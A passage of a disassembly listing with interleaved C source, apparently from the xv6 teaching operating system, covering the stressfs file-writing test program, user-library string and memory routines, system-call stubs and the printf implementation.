b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 81 ec 24 02 00 00 sub $0x224,%esp
int fd, i;
char path[] = "stressfs0";
14: c7 45 e6 73 74 72 65 movl $0x65727473,-0x1a(%ebp)
1b: c7 45 ea 73 73 66 73 movl $0x73667373,-0x16(%ebp)
22: 66 c7 45 ee 30 00 movw $0x30,-0x12(%ebp)
char data[512];
printf(1, "stressfs starting\n");
28: 83 ec 08 sub $0x8,%esp
2b: 68 ee 08 00 00 push $0x8ee
30: 6a 01 push $0x1
32: e8 01 05 00 00 call 538 <printf>
37: 83 c4 10 add $0x10,%esp
memset(data, 'a', sizeof(data));
3a: 83 ec 04 sub $0x4,%esp
3d: 68 00 02 00 00 push $0x200
42: 6a 61 push $0x61
44: 8d 85 e6 fd ff ff lea -0x21a(%ebp),%eax
4a: 50 push %eax
4b: e8 be 01 00 00 call 20e <memset>
50: 83 c4 10 add $0x10,%esp
for(i = 0; i < 4; i++)
53: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
5a: eb 0d jmp 69 <main+0x69>
if(fork() > 0)
5c: e8 40 03 00 00 call 3a1 <fork>
61: 85 c0 test %eax,%eax
63: 7f 0c jg 71 <main+0x71>
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
for(i = 0; i < 4; i++)
65: 83 45 f4 01 addl $0x1,-0xc(%ebp)
69: 83 7d f4 03 cmpl $0x3,-0xc(%ebp)
6d: 7e ed jle 5c <main+0x5c>
6f: eb 01 jmp 72 <main+0x72>
if(fork() > 0)
break;
71: 90 nop
printf(1, "write %d\n", i);
72: 83 ec 04 sub $0x4,%esp
75: ff 75 f4 pushl -0xc(%ebp)
78: 68 01 09 00 00 push $0x901
7d: 6a 01 push $0x1
7f: e8 b4 04 00 00 call 538 <printf>
84: 83 c4 10 add $0x10,%esp
path[8] += i;
87: 0f b6 45 ee movzbl -0x12(%ebp),%eax
8b: 89 c2 mov %eax,%edx
8d: 8b 45 f4 mov -0xc(%ebp),%eax
90: 01 d0 add %edx,%eax
92: 88 45 ee mov %al,-0x12(%ebp)
fd = open(path, O_CREATE | O_RDWR);
95: 83 ec 08 sub $0x8,%esp
98: 68 02 02 00 00 push $0x202
9d: 8d 45 e6 lea -0x1a(%ebp),%eax
a0: 50 push %eax
a1: e8 43 03 00 00 call 3e9 <open>
a6: 83 c4 10 add $0x10,%esp
a9: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; i < 20; i++)
ac: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
b3: eb 1e jmp d3 <main+0xd3>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b5: 83 ec 04 sub $0x4,%esp
b8: 68 00 02 00 00 push $0x200
bd: 8d 85 e6 fd ff ff lea -0x21a(%ebp),%eax
c3: 50 push %eax
c4: ff 75 f0 pushl -0x10(%ebp)
c7: e8 fd 02 00 00 call 3c9 <write>
cc: 83 c4 10 add $0x10,%esp
printf(1, "write %d\n", i);
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
for(i = 0; i < 20; i++)
cf: 83 45 f4 01 addl $0x1,-0xc(%ebp)
d3: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
d7: 7e dc jle b5 <main+0xb5>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
close(fd);
d9: 83 ec 0c sub $0xc,%esp
dc: ff 75 f0 pushl -0x10(%ebp)
df: e8 ed 02 00 00 call 3d1 <close>
e4: 83 c4 10 add $0x10,%esp
printf(1, "read\n");
e7: 83 ec 08 sub $0x8,%esp
ea: 68 0b 09 00 00 push $0x90b
ef: 6a 01 push $0x1
f1: e8 42 04 00 00 call 538 <printf>
f6: 83 c4 10 add $0x10,%esp
fd = open(path, O_RDONLY);
f9: 83 ec 08 sub $0x8,%esp
fc: 6a 00 push $0x0
fe: 8d 45 e6 lea -0x1a(%ebp),%eax
101: 50 push %eax
102: e8 e2 02 00 00 call 3e9 <open>
107: 83 c4 10 add $0x10,%esp
10a: 89 45 f0 mov %eax,-0x10(%ebp)
for (i = 0; i < 20; i++)
10d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
114: eb 1e jmp 134 <main+0x134>
read(fd, data, sizeof(data));
116: 83 ec 04 sub $0x4,%esp
119: 68 00 02 00 00 push $0x200
11e: 8d 85 e6 fd ff ff lea -0x21a(%ebp),%eax
124: 50 push %eax
125: ff 75 f0 pushl -0x10(%ebp)
128: e8 94 02 00 00 call 3c1 <read>
12d: 83 c4 10 add $0x10,%esp
close(fd);
printf(1, "read\n");
fd = open(path, O_RDONLY);
for (i = 0; i < 20; i++)
130: 83 45 f4 01 addl $0x1,-0xc(%ebp)
134: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
138: 7e dc jle 116 <main+0x116>
read(fd, data, sizeof(data));
close(fd);
13a: 83 ec 0c sub $0xc,%esp
13d: ff 75 f0 pushl -0x10(%ebp)
140: e8 8c 02 00 00 call 3d1 <close>
145: 83 c4 10 add $0x10,%esp
wait();
148: e8 64 02 00 00 call 3b1 <wait>
exit();
14d: e8 57 02 00 00 call 3a9 <exit>
00000152 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
152: 55 push %ebp
153: 89 e5 mov %esp,%ebp
155: 57 push %edi
156: 53 push %ebx
asm volatile("cld; rep stosb" :
157: 8b 4d 08 mov 0x8(%ebp),%ecx
15a: 8b 55 10 mov 0x10(%ebp),%edx
15d: 8b 45 0c mov 0xc(%ebp),%eax
160: 89 cb mov %ecx,%ebx
162: 89 df mov %ebx,%edi
164: 89 d1 mov %edx,%ecx
166: fc cld
167: f3 aa rep stos %al,%es:(%edi)
169: 89 ca mov %ecx,%edx
16b: 89 fb mov %edi,%ebx
16d: 89 5d 08 mov %ebx,0x8(%ebp)
170: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
173: 90 nop
174: 5b pop %ebx
175: 5f pop %edi
176: 5d pop %ebp
177: c3 ret
00000178 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
178: 55 push %ebp
179: 89 e5 mov %esp,%ebp
17b: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
17e: 8b 45 08 mov 0x8(%ebp),%eax
181: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
184: 90 nop
185: 8b 45 08 mov 0x8(%ebp),%eax
188: 8d 50 01 lea 0x1(%eax),%edx
18b: 89 55 08 mov %edx,0x8(%ebp)
18e: 8b 55 0c mov 0xc(%ebp),%edx
191: 8d 4a 01 lea 0x1(%edx),%ecx
194: 89 4d 0c mov %ecx,0xc(%ebp)
197: 0f b6 12 movzbl (%edx),%edx
19a: 88 10 mov %dl,(%eax)
19c: 0f b6 00 movzbl (%eax),%eax
19f: 84 c0 test %al,%al
1a1: 75 e2 jne 185 <strcpy+0xd>
;
return os;
1a3: 8b 45 fc mov -0x4(%ebp),%eax
}
1a6: c9 leave
1a7: c3 ret
000001a8 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1a8: 55 push %ebp
1a9: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
1ab: eb 08 jmp 1b5 <strcmp+0xd>
p++, q++;
1ad: 83 45 08 01 addl $0x1,0x8(%ebp)
1b1: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1b5: 8b 45 08 mov 0x8(%ebp),%eax
1b8: 0f b6 00 movzbl (%eax),%eax
1bb: 84 c0 test %al,%al
1bd: 74 10 je 1cf <strcmp+0x27>
1bf: 8b 45 08 mov 0x8(%ebp),%eax
1c2: 0f b6 10 movzbl (%eax),%edx
1c5: 8b 45 0c mov 0xc(%ebp),%eax
1c8: 0f b6 00 movzbl (%eax),%eax
1cb: 38 c2 cmp %al,%dl
1cd: 74 de je 1ad <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1cf: 8b 45 08 mov 0x8(%ebp),%eax
1d2: 0f b6 00 movzbl (%eax),%eax
1d5: 0f b6 d0 movzbl %al,%edx
1d8: 8b 45 0c mov 0xc(%ebp),%eax
1db: 0f b6 00 movzbl (%eax),%eax
1de: 0f b6 c0 movzbl %al,%eax
1e1: 29 c2 sub %eax,%edx
1e3: 89 d0 mov %edx,%eax
}
1e5: 5d pop %ebp
1e6: c3 ret
000001e7 <strlen>:
uint
strlen(char *s)
{
1e7: 55 push %ebp
1e8: 89 e5 mov %esp,%ebp
1ea: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1ed: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1f4: eb 04 jmp 1fa <strlen+0x13>
1f6: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1fa: 8b 55 fc mov -0x4(%ebp),%edx
1fd: 8b 45 08 mov 0x8(%ebp),%eax
200: 01 d0 add %edx,%eax
202: 0f b6 00 movzbl (%eax),%eax
205: 84 c0 test %al,%al
207: 75 ed jne 1f6 <strlen+0xf>
;
return n;
209: 8b 45 fc mov -0x4(%ebp),%eax
}
20c: c9 leave
20d: c3 ret
0000020e <memset>:
void*
memset(void *dst, int c, uint n)
{
20e: 55 push %ebp
20f: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
211: 8b 45 10 mov 0x10(%ebp),%eax
214: 50 push %eax
215: ff 75 0c pushl 0xc(%ebp)
218: ff 75 08 pushl 0x8(%ebp)
21b: e8 32 ff ff ff call 152 <stosb>
220: 83 c4 0c add $0xc,%esp
return dst;
223: 8b 45 08 mov 0x8(%ebp),%eax
}
226: c9 leave
227: c3 ret
00000228 <strchr>:
char*
strchr(const char *s, char c)
{
228: 55 push %ebp
229: 89 e5 mov %esp,%ebp
22b: 83 ec 04 sub $0x4,%esp
22e: 8b 45 0c mov 0xc(%ebp),%eax
231: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
234: eb 14 jmp 24a <strchr+0x22>
if(*s == c)
236: 8b 45 08 mov 0x8(%ebp),%eax
239: 0f b6 00 movzbl (%eax),%eax
23c: 3a 45 fc cmp -0x4(%ebp),%al
23f: 75 05 jne 246 <strchr+0x1e>
return (char*)s;
241: 8b 45 08 mov 0x8(%ebp),%eax
244: eb 13 jmp 259 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
246: 83 45 08 01 addl $0x1,0x8(%ebp)
24a: 8b 45 08 mov 0x8(%ebp),%eax
24d: 0f b6 00 movzbl (%eax),%eax
250: 84 c0 test %al,%al
252: 75 e2 jne 236 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
254: b8 00 00 00 00 mov $0x0,%eax
}
259: c9 leave
25a: c3 ret
0000025b <gets>:
char*
gets(char *buf, int max)
{
25b: 55 push %ebp
25c: 89 e5 mov %esp,%ebp
25e: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
261: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
268: eb 42 jmp 2ac <gets+0x51>
cc = read(0, &c, 1);
26a: 83 ec 04 sub $0x4,%esp
26d: 6a 01 push $0x1
26f: 8d 45 ef lea -0x11(%ebp),%eax
272: 50 push %eax
273: 6a 00 push $0x0
275: e8 47 01 00 00 call 3c1 <read>
27a: 83 c4 10 add $0x10,%esp
27d: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
280: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
284: 7e 33 jle 2b9 <gets+0x5e>
break;
buf[i++] = c;
286: 8b 45 f4 mov -0xc(%ebp),%eax
289: 8d 50 01 lea 0x1(%eax),%edx
28c: 89 55 f4 mov %edx,-0xc(%ebp)
28f: 89 c2 mov %eax,%edx
291: 8b 45 08 mov 0x8(%ebp),%eax
294: 01 c2 add %eax,%edx
296: 0f b6 45 ef movzbl -0x11(%ebp),%eax
29a: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
29c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
2a0: 3c 0a cmp $0xa,%al
2a2: 74 16 je 2ba <gets+0x5f>
2a4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
2a8: 3c 0d cmp $0xd,%al
2aa: 74 0e je 2ba <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
2ac: 8b 45 f4 mov -0xc(%ebp),%eax
2af: 83 c0 01 add $0x1,%eax
2b2: 3b 45 0c cmp 0xc(%ebp),%eax
2b5: 7c b3 jl 26a <gets+0xf>
2b7: eb 01 jmp 2ba <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
2b9: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2ba: 8b 55 f4 mov -0xc(%ebp),%edx
2bd: 8b 45 08 mov 0x8(%ebp),%eax
2c0: 01 d0 add %edx,%eax
2c2: c6 00 00 movb $0x0,(%eax)
return buf;
2c5: 8b 45 08 mov 0x8(%ebp),%eax
}
2c8: c9 leave
2c9: c3 ret
000002ca <stat>:
int
stat(char *n, struct stat *st)
{
2ca: 55 push %ebp
2cb: 89 e5 mov %esp,%ebp
2cd: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
2d0: 83 ec 08 sub $0x8,%esp
2d3: 6a 00 push $0x0
2d5: ff 75 08 pushl 0x8(%ebp)
2d8: e8 0c 01 00 00 call 3e9 <open>
2dd: 83 c4 10 add $0x10,%esp
2e0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2e3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e7: 79 07 jns 2f0 <stat+0x26>
return -1;
2e9: b8 ff ff ff ff mov $0xffffffff,%eax
2ee: eb 25 jmp 315 <stat+0x4b>
r = fstat(fd, st);
2f0: 83 ec 08 sub $0x8,%esp
2f3: ff 75 0c pushl 0xc(%ebp)
2f6: ff 75 f4 pushl -0xc(%ebp)
2f9: e8 03 01 00 00 call 401 <fstat>
2fe: 83 c4 10 add $0x10,%esp
301: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
304: 83 ec 0c sub $0xc,%esp
307: ff 75 f4 pushl -0xc(%ebp)
30a: e8 c2 00 00 00 call 3d1 <close>
30f: 83 c4 10 add $0x10,%esp
return r;
312: 8b 45 f0 mov -0x10(%ebp),%eax
}
315: c9 leave
316: c3 ret
00000317 <atoi>:
int
atoi(const char *s)
{
317: 55 push %ebp
318: 89 e5 mov %esp,%ebp
31a: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
31d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
324: eb 25 jmp 34b <atoi+0x34>
n = n*10 + *s++ - '0';
326: 8b 55 fc mov -0x4(%ebp),%edx
329: 89 d0 mov %edx,%eax
32b: c1 e0 02 shl $0x2,%eax
32e: 01 d0 add %edx,%eax
330: 01 c0 add %eax,%eax
332: 89 c1 mov %eax,%ecx
334: 8b 45 08 mov 0x8(%ebp),%eax
337: 8d 50 01 lea 0x1(%eax),%edx
33a: 89 55 08 mov %edx,0x8(%ebp)
33d: 0f b6 00 movzbl (%eax),%eax
340: 0f be c0 movsbl %al,%eax
343: 01 c8 add %ecx,%eax
345: 83 e8 30 sub $0x30,%eax
348: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
34b: 8b 45 08 mov 0x8(%ebp),%eax
34e: 0f b6 00 movzbl (%eax),%eax
351: 3c 2f cmp $0x2f,%al
353: 7e 0a jle 35f <atoi+0x48>
355: 8b 45 08 mov 0x8(%ebp),%eax
358: 0f b6 00 movzbl (%eax),%eax
35b: 3c 39 cmp $0x39,%al
35d: 7e c7 jle 326 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
35f: 8b 45 fc mov -0x4(%ebp),%eax
}
362: c9 leave
363: c3 ret
00000364 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
364: 55 push %ebp
365: 89 e5 mov %esp,%ebp
367: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
36a: 8b 45 08 mov 0x8(%ebp),%eax
36d: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
370: 8b 45 0c mov 0xc(%ebp),%eax
373: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
376: eb 17 jmp 38f <memmove+0x2b>
*dst++ = *src++;
378: 8b 45 fc mov -0x4(%ebp),%eax
37b: 8d 50 01 lea 0x1(%eax),%edx
37e: 89 55 fc mov %edx,-0x4(%ebp)
381: 8b 55 f8 mov -0x8(%ebp),%edx
384: 8d 4a 01 lea 0x1(%edx),%ecx
387: 89 4d f8 mov %ecx,-0x8(%ebp)
38a: 0f b6 12 movzbl (%edx),%edx
38d: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
38f: 8b 45 10 mov 0x10(%ebp),%eax
392: 8d 50 ff lea -0x1(%eax),%edx
395: 89 55 10 mov %edx,0x10(%ebp)
398: 85 c0 test %eax,%eax
39a: 7f dc jg 378 <memmove+0x14>
*dst++ = *src++;
return vdst;
39c: 8b 45 08 mov 0x8(%ebp),%eax
}
39f: c9 leave
3a0: c3 ret
000003a1 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3a1: b8 01 00 00 00 mov $0x1,%eax
3a6: cd 40 int $0x40
3a8: c3 ret
000003a9 <exit>:
SYSCALL(exit)
3a9: b8 02 00 00 00 mov $0x2,%eax
3ae: cd 40 int $0x40
3b0: c3 ret
000003b1 <wait>:
SYSCALL(wait)
3b1: b8 03 00 00 00 mov $0x3,%eax
3b6: cd 40 int $0x40
3b8: c3 ret
000003b9 <pipe>:
SYSCALL(pipe)
3b9: b8 04 00 00 00 mov $0x4,%eax
3be: cd 40 int $0x40
3c0: c3 ret
000003c1 <read>:
SYSCALL(read)
3c1: b8 05 00 00 00 mov $0x5,%eax
3c6: cd 40 int $0x40
3c8: c3 ret
000003c9 <write>:
SYSCALL(write)
3c9: b8 10 00 00 00 mov $0x10,%eax
3ce: cd 40 int $0x40
3d0: c3 ret
000003d1 <close>:
SYSCALL(close)
3d1: b8 15 00 00 00 mov $0x15,%eax
3d6: cd 40 int $0x40
3d8: c3 ret
000003d9 <kill>:
SYSCALL(kill)
3d9: b8 06 00 00 00 mov $0x6,%eax
3de: cd 40 int $0x40
3e0: c3 ret
000003e1 <exec>:
SYSCALL(exec)
3e1: b8 07 00 00 00 mov $0x7,%eax
3e6: cd 40 int $0x40
3e8: c3 ret
000003e9 <open>:
SYSCALL(open)
3e9: b8 0f 00 00 00 mov $0xf,%eax
3ee: cd 40 int $0x40
3f0: c3 ret
000003f1 <mknod>:
SYSCALL(mknod)
3f1: b8 11 00 00 00 mov $0x11,%eax
3f6: cd 40 int $0x40
3f8: c3 ret
000003f9 <unlink>:
SYSCALL(unlink)
3f9: b8 12 00 00 00 mov $0x12,%eax
3fe: cd 40 int $0x40
400: c3 ret
00000401 <fstat>:
SYSCALL(fstat)
401: b8 08 00 00 00 mov $0x8,%eax
406: cd 40 int $0x40
408: c3 ret
00000409 <link>:
SYSCALL(link)
409: b8 13 00 00 00 mov $0x13,%eax
40e: cd 40 int $0x40
410: c3 ret
00000411 <mkdir>:
SYSCALL(mkdir)
411: b8 14 00 00 00 mov $0x14,%eax
416: cd 40 int $0x40
418: c3 ret
00000419 <chdir>:
SYSCALL(chdir)
419: b8 09 00 00 00 mov $0x9,%eax
41e: cd 40 int $0x40
420: c3 ret
00000421 <dup>:
SYSCALL(dup)
421: b8 0a 00 00 00 mov $0xa,%eax
426: cd 40 int $0x40
428: c3 ret
00000429 <getpid>:
SYSCALL(getpid)
429: b8 0b 00 00 00 mov $0xb,%eax
42e: cd 40 int $0x40
430: c3 ret
00000431 <sbrk>:
SYSCALL(sbrk)
431: b8 0c 00 00 00 mov $0xc,%eax
436: cd 40 int $0x40
438: c3 ret
00000439 <sleep>:
SYSCALL(sleep)
439: b8 0d 00 00 00 mov $0xd,%eax
43e: cd 40 int $0x40
440: c3 ret
00000441 <uptime>:
SYSCALL(uptime)
441: b8 0e 00 00 00 mov $0xe,%eax
446: cd 40 int $0x40
448: c3 ret
00000449 <getppid>:
SYSCALL(getppid)
449: b8 16 00 00 00 mov $0x16,%eax
44e: cd 40 int $0x40
450: c3 ret
00000451 <wait2>:
SYSCALL(wait2)
451: b8 18 00 00 00 mov $0x18,%eax
456: cd 40 int $0x40
458: c3 ret
00000459 <nice>:
SYSCALL(nice)
459: b8 17 00 00 00 mov $0x17,%eax
45e: cd 40 int $0x40
460: c3 ret
00000461 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
461: 55 push %ebp
462: 89 e5 mov %esp,%ebp
464: 83 ec 18 sub $0x18,%esp
467: 8b 45 0c mov 0xc(%ebp),%eax
46a: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
46d: 83 ec 04 sub $0x4,%esp
470: 6a 01 push $0x1
472: 8d 45 f4 lea -0xc(%ebp),%eax
475: 50 push %eax
476: ff 75 08 pushl 0x8(%ebp)
479: e8 4b ff ff ff call 3c9 <write>
47e: 83 c4 10 add $0x10,%esp
}
481: 90 nop
482: c9 leave
483: c3 ret
00000484 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
484: 55 push %ebp
485: 89 e5 mov %esp,%ebp
487: 53 push %ebx
488: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
48b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
492: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
496: 74 17 je 4af <printint+0x2b>
498: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
49c: 79 11 jns 4af <printint+0x2b>
neg = 1;
49e: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
4a5: 8b 45 0c mov 0xc(%ebp),%eax
4a8: f7 d8 neg %eax
4aa: 89 45 ec mov %eax,-0x14(%ebp)
4ad: eb 06 jmp 4b5 <printint+0x31>
} else {
x = xx;
4af: 8b 45 0c mov 0xc(%ebp),%eax
4b2: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
4b5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
4bc: 8b 4d f4 mov -0xc(%ebp),%ecx
4bf: 8d 41 01 lea 0x1(%ecx),%eax
4c2: 89 45 f4 mov %eax,-0xc(%ebp)
4c5: 8b 5d 10 mov 0x10(%ebp),%ebx
4c8: 8b 45 ec mov -0x14(%ebp),%eax
4cb: ba 00 00 00 00 mov $0x0,%edx
4d0: f7 f3 div %ebx
4d2: 89 d0 mov %edx,%eax
4d4: 0f b6 80 60 0b 00 00 movzbl 0xb60(%eax),%eax
4db: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
4df: 8b 5d 10 mov 0x10(%ebp),%ebx
4e2: 8b 45 ec mov -0x14(%ebp),%eax
4e5: ba 00 00 00 00 mov $0x0,%edx
4ea: f7 f3 div %ebx
4ec: 89 45 ec mov %eax,-0x14(%ebp)
4ef: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4f3: 75 c7 jne 4bc <printint+0x38>
if(neg)
4f5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4f9: 74 2d je 528 <printint+0xa4>
buf[i++] = '-';
4fb: 8b 45 f4 mov -0xc(%ebp),%eax
4fe: 8d 50 01 lea 0x1(%eax),%edx
501: 89 55 f4 mov %edx,-0xc(%ebp)
504: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
509: eb 1d jmp 528 <printint+0xa4>
putc(fd, buf[i]);
50b: 8d 55 dc lea -0x24(%ebp),%edx
50e: 8b 45 f4 mov -0xc(%ebp),%eax
511: 01 d0 add %edx,%eax
513: 0f b6 00 movzbl (%eax),%eax
516: 0f be c0 movsbl %al,%eax
519: 83 ec 08 sub $0x8,%esp
51c: 50 push %eax
51d: ff 75 08 pushl 0x8(%ebp)
520: e8 3c ff ff ff call 461 <putc>
525: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
528: 83 6d f4 01 subl $0x1,-0xc(%ebp)
52c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
530: 79 d9 jns 50b <printint+0x87>
putc(fd, buf[i]);
}
532: 90 nop
533: 8b 5d fc mov -0x4(%ebp),%ebx
536: c9 leave
537: c3 ret
00000538 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
538: 55 push %ebp
539: 89 e5 mov %esp,%ebp
53b: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
53e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
545: 8d 45 0c lea 0xc(%ebp),%eax
548: 83 c0 04 add $0x4,%eax
54b: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
54e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
555: e9 59 01 00 00 jmp 6b3 <printf+0x17b>
c = fmt[i] & 0xff;
55a: 8b 55 0c mov 0xc(%ebp),%edx
55d: 8b 45 f0 mov -0x10(%ebp),%eax
560: 01 d0 add %edx,%eax
562: 0f b6 00 movzbl (%eax),%eax
565: 0f be c0 movsbl %al,%eax
568: 25 ff 00 00 00 and $0xff,%eax
56d: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
570: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
574: 75 2c jne 5a2 <printf+0x6a>
if(c == '%'){
576: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
57a: 75 0c jne 588 <printf+0x50>
state = '%';
57c: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
583: e9 27 01 00 00 jmp 6af <printf+0x177>
} else {
putc(fd, c);
588: 8b 45 e4 mov -0x1c(%ebp),%eax
58b: 0f be c0 movsbl %al,%eax
58e: 83 ec 08 sub $0x8,%esp
591: 50 push %eax
592: ff 75 08 pushl 0x8(%ebp)
595: e8 c7 fe ff ff call 461 <putc>
59a: 83 c4 10 add $0x10,%esp
59d: e9 0d 01 00 00 jmp 6af <printf+0x177>
}
} else if(state == '%'){
5a2: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
5a6: 0f 85 03 01 00 00 jne 6af <printf+0x177>
if(c == 'd'){
5ac: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
5b0: 75 1e jne 5d0 <printf+0x98>
printint(fd, *ap, 10, 1);
5b2: 8b 45 e8 mov -0x18(%ebp),%eax
5b5: 8b 00 mov (%eax),%eax
5b7: 6a 01 push $0x1
5b9: 6a 0a push $0xa
5bb: 50 push %eax
5bc: ff 75 08 pushl 0x8(%ebp)
5bf: e8 c0 fe ff ff call 484 <printint>
5c4: 83 c4 10 add $0x10,%esp
ap++;
5c7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5cb: e9 d8 00 00 00 jmp 6a8 <printf+0x170>
} else if(c == 'x' || c == 'p'){
5d0: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
5d4: 74 06 je 5dc <printf+0xa4>
5d6: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
5da: 75 1e jne 5fa <printf+0xc2>
printint(fd, *ap, 16, 0);
5dc: 8b 45 e8 mov -0x18(%ebp),%eax
5df: 8b 00 mov (%eax),%eax
5e1: 6a 00 push $0x0
5e3: 6a 10 push $0x10
5e5: 50 push %eax
5e6: ff 75 08 pushl 0x8(%ebp)
5e9: e8 96 fe ff ff call 484 <printint>
5ee: 83 c4 10 add $0x10,%esp
ap++;
5f1: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5f5: e9 ae 00 00 00 jmp 6a8 <printf+0x170>
} else if(c == 's'){
5fa: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
5fe: 75 43 jne 643 <printf+0x10b>
s = (char*)*ap;
600: 8b 45 e8 mov -0x18(%ebp),%eax
603: 8b 00 mov (%eax),%eax
605: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
608: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
60c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
610: 75 25 jne 637 <printf+0xff>
s = "(null)";
612: c7 45 f4 11 09 00 00 movl $0x911,-0xc(%ebp)
while(*s != 0){
619: eb 1c jmp 637 <printf+0xff>
putc(fd, *s);
61b: 8b 45 f4 mov -0xc(%ebp),%eax
61e: 0f b6 00 movzbl (%eax),%eax
621: 0f be c0 movsbl %al,%eax
624: 83 ec 08 sub $0x8,%esp
627: 50 push %eax
628: ff 75 08 pushl 0x8(%ebp)
62b: e8 31 fe ff ff call 461 <putc>
630: 83 c4 10 add $0x10,%esp
s++;
633: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
637: 8b 45 f4 mov -0xc(%ebp),%eax
63a: 0f b6 00 movzbl (%eax),%eax
63d: 84 c0 test %al,%al
63f: 75 da jne 61b <printf+0xe3>
641: eb 65 jmp 6a8 <printf+0x170>
